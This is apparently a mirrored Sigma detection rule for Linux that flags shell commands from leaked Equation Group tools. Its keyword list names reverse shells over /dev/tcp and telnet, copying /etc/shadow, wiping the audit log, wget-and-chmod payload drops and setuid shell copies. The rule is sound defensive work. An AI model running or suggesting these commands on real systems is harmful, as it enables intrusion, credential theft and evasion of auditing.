mirror of
https://github.com/valitydev/SigmaHQ.git
synced 2024-11-06 09:25:17 +00:00
79 lines
2.5 KiB
YAML
Executable File
79 lines
2.5 KiB
YAML
Executable File
title: Equation Group Indicators
|
|
description: Detects suspicious shell commands used in various Equation Group scripts and tools
|
|
references:
|
|
- https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1
|
|
tags:
|
|
- attack.execution
|
|
- attack.g0020
|
|
- attack.t1059
|
|
author: Florian Roth
|
|
logsource:
|
|
product: linux
|
|
detection:
|
|
keywords:
|
|
# evolvingstrategy, elgingamble, estesfox
|
|
- 'chown root*chmod 4777 '
|
|
- 'cp /bin/sh .;chown'
|
|
# tmpwatch
|
|
- 'chmod 4777 /tmp/.scsi/dev/bin/gsh'
|
|
- 'chown root:root /tmp/.scsi/dev/bin/'
|
|
# estesfox
|
|
- 'chown root:root x;'
|
|
# ratload
|
|
- '/bin/telnet locip locport < /dev/console | /bin/sh'
|
|
- '/tmp/ratload'
|
|
# ewok
|
|
- 'ewok -t '
|
|
# xspy
|
|
- 'xspy -display '
|
|
# elatedmonkey
|
|
- 'cat > /dev/tcp/127.0.0.1/80 <<END'
|
|
# ftshell
|
|
- 'rm -f /current/tmp/ftshell.latest'
|
|
# ghost
|
|
- 'ghost_* -v '
|
|
# morerats client
|
|
- ' --wipe > /dev/null'
|
|
# noclient
|
|
- 'ping -c 2 *; grep * /proc/net/arp >/tmp/gx'
|
|
- 'iptables * OUTPUT -p tcp -d 127.0.0.1 --tcp-flags RST RST -j DROP;'
|
|
# auditcleaner
|
|
- '> /var/log/audit/audit.log; rm -f .'
|
|
- 'cp /var/log/audit/audit.log .tmp'
|
|
# reverse shell
|
|
- 'sh >/dev/tcp/* <&1 2>&1'
|
|
# packrat
|
|
- 'ncat -vv -l -p * <'
|
|
- 'nc -vv -l -p * <'
|
|
# empty bowl
|
|
- '< /dev/console | uudecode && uncompress'
|
|
- 'sendmail -osendmail;chmod +x sendmail'
|
|
# echowrecker
|
|
- '/usr/bin/wget -O /tmp/a http* && chmod 755 /tmp/cron'
|
|
# dubmoat
|
|
- 'chmod 666 /var/run/utmp~'
|
|
# poptop
|
|
- 'chmod 700 nscd crond'
|
|
# abopscript
|
|
- 'cp /etc/shadow /tmp/.'
|
|
# ys
|
|
- '</dev/console |uudecode > /dev/null 2>&1 && uncompress'
|
|
# jacktelnet
|
|
- 'chmod 700 jp&&netstat -an|grep'
|
|
# others
|
|
- 'uudecode > /dev/null 2>&1 && uncompress -f * && chmod 755'
|
|
- 'chmod 700 crond'
|
|
- 'wget http*; chmod +x /tmp/sendmail'
|
|
- 'chmod 700 fp sendmail pt'
|
|
- 'chmod 755 /usr/vmsys/bin/pipe'
|
|
- 'chmod -R 755 /usr/vmsys'
|
|
- 'chmod 755 $opbin/*tunnel'
|
|
- 'chmod 700 sendmail'
|
|
- 'chmod 0700 sendmail'
|
|
- '/usr/bin/wget http*sendmail;chmod +x sendmail;'
|
|
- '&& telnet * 2>&1 </dev/console'
|
|
condition: keywords
|
|
falsepositives:
|
|
- Unknown
|
|
level: high
|